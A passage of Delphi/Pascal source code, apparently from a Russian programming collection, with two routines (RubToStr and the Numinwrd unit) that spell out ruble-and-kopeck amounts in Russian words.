          Rasryad := 'триллионов';
        end;
    end;
end;
function GroupToStr(Group: string; Padeg: Integer): string;
{Функция возвращает прописью 3 цифры}
var
  i: Integer;
  S: string;
begin
  S := '';
  if (StrToInt(Copy(Group, Length(Group) - 1, 2)) > 9) and (StrToInt(Copy(Group,
    Length(Group) - 1, 2)) < 20) then
  begin
    if Length(Group) = 3 then
      S := S + ' ' + CifrToStr(Copy(Group, 1, 1), 1, Padeg);
    S := S + ' ' + CifrToStr(Copy(Group, Length(Group), 1), 4, Padeg);
  end
  else
    for i := 1 to Length(Group) do
      S := S + ' ' + CifrToStr(Copy(Group, i, 1), i - Length(Group) + 3, Padeg);
  GroupToStr := S;
end;
{Функция возвращает сумму прописью}
function RubToStr(Rubs: Currency; Rub, Kop: string): string;
var
  i, j: Integer;
  R, K, S: string;
begin
  S := CurrToStr(Rubs);
  S := Trim(S);
  if Pos(',', S) = 0 then
  begin
    R := S;
    K := '00';
  end
  else
  begin
    R := Copy(S, 0, (Pos(',', S) - 1));
    K := Copy(S, (Pos(',', S) + 1), Length(S));
  end;
  S := '';
  i := 0;
  j := 1;
  while Length(R) > 3 do
  begin
    if i = 1 then
      j := 2
    else
      j := 1;
    S := GroupToStr(Copy(R, Length(R) - 2, 3), j) + ' ' + Rasryad(i, Copy(R,
      Length(R) - 2, 3)) + ' ' + S;
    R := Copy(R, 1, Length(R) - 3);
    i := i + 1;
  end;
  if i = 1 then
    j := 2
  else
    j := 1;
  S := Trim(GroupToStr(R, j) + ' ' + Rasryad(i, R) + ' ' + S + ' ' + Rub + ' ' +
    K + ' ' + Kop);
  S := ANSIUpperCase(Copy(S, 1, 1)) + Copy(S, 2, Length(S) - 1);
  RubToStr := S;
end;

Сумма прописью - Способ 9.

unit Numinwrd;
interface
function sMoneyInWords(Nin: currency): string; export;
function szMoneyInWords(Nin: currency): PChar; export;
{ Денежная сумма Nin в рублях и копейках прописью
1997, в.2.1, by О.В.Болдырев}
implementation
uses SysUtils, Dialogs, Math;
type
  tri = string[4];
  mood = 1..2;
  gender = (m, f);
  uns = array[0..9] of string[7];
  tns = array[0..9] of string[13];
  decs = array[0..9] of string[12];
  huns = array[0..9] of string[10];
  nums = array[0..4] of string[8];
  money = array[1..2] of string[5];
  endings = array[gender, mood, 1..3] of tri; {окончания числительных и денег}
const
  units: uns = ('', 'один ', 'два ', 'три ', 'четыре ', 'пять ',
    'шесть ', 'семь ', 'восемь ', 'девять ');
  unitsf: uns = ('', 'одна ', 'две ', 'три ', 'четыре ', 'пять ',
    'шесть ', 'семь ', 'восемь ', 'девять ');
  teens: tns = ('десять ', 'одиннадцать ', 'двенадцать ', 'тринадцать ',
    'четырнадцать ', 'пятнадцать ', 'шестнадцать ',
    'семнадцать ', 'восемнадцать ', 'девятнадцать ');
  decades: decs = ('', 'десять ', 'двадцать ', 'тридцать ', 'сорок ',
    'пятьдесят ', 'шестьдесят ', 'семьдесят ', 'восемьдесят ',
    'девяносто ');
  hundreds: huns = ('', 'сто ', 'двести ', 'триста ', 'четыреста ',
    'пятьсот ', 'шестьсот ', 'семьсот ', 'восемьсот ',
    'девятьсот ');
  numericals: nums = ('', 'тысяч', 'миллион', 'миллиард', 'триллион');
  RusMon: money = ('рубл', 'копе');
  ends: endings = ((('', 'а', 'ов'), ('ь', 'я', 'ей')),
    (('а', 'и', ''), ('йка', 'йки', 'ек')));
threadvar
  str: string;
function EndingIndex(Arg: integer): integer;
begin
  if ((Arg div 10) mod 10) <> 1 then
    case (Arg mod 10) of
      1: Result := 1;
      2..4: Result := 2;
    else
      Result := 3;
    end
  else
    Result := 3;
end;
function sMoneyInWords(Nin: currency): string;
  { Число Nin прописью, как функция }
var
  //  str: string;
  g: gender; //род
  Nr: comp; {целая часть числа}
  Fr: integer; {дробная часть числа}
  i, iTri, Order: longint; {триада}
  procedure Triad;
  var
    iTri2: integer;
    un, de, ce: byte; //единицы, десятки, сотни
    function GetDigit: byte;
    begin
      Result := iTri2 mod 10;
      iTri2 := iTri2 div 10;
    end;
  begin
    iTri := trunc(Nr / IntPower(1000, i));
    Nr := Nr - int(iTri * IntPower(1000, i));
    iTri2 := iTri;
    if iTri > 0 then
    begin
      un := GetDigit;
      de := GetDigit;
      ce := GetDigit;
      if i = 1 then
        g := f
      else
        g := m; {женского рода только тысяча}
      str := TrimRight(str) + ' ' + Hundreds[ce];
      if de = 1 then
        str := TrimRight(str) + ' ' + Teens[un]
      else
      begin
        str := TrimRight(str) + ' ' + Decades[de];
        case g of
          m: str := TrimRight(str) + ' ' + Units[un];
          f: str := TrimRight(str) + ' ' + UnitsF[un];
        end;
      end;
      if length(numericals[i]) > 1 then
      begin
        str := TrimRight(str) + ' ' + numericals[i];
        str := TrimRight(str) + ends[g, 1, EndingIndex(iTri)];
      end;
    end; //triad is 0 ?
    if i = 0 then
      Exit;
    Dec(i);
    Triad;
  end;
begin
  str := '';
  Nr := int(Nin);
  Fr := round(Nin * 100 + 0.00000001) mod 100;
  if Nr > 0 then
    Order := trunc(Log10(Nr) / 3)
  else
  begin
    str := 'ноль';
    Order := 0
  end;
  if Order > High(numericals) then
    raise Exception.Create('Слишком большое число для суммы прописью');
  i := Order;
  Triad;
  str :=
    Format('%s %s%s %.2d %s%s', [Trim(str), RusMon[1], ends[m, 2,
      EndingIndex(iTri)],
    Fr, RusMon[2], ends[f, 2, EndingIndex(Fr)]]);
  str[1] := (ANSIUpperCase(copy(str, 1, 1)))[1];
  str[Length(str) + 1] := #0;
  Result := str;
end;
function szMoneyInWords(Nin: currency): PChar;
begin
  sMoneyInWords(Nin);
  Result := @(str[1]);
end;
end.
Содержание.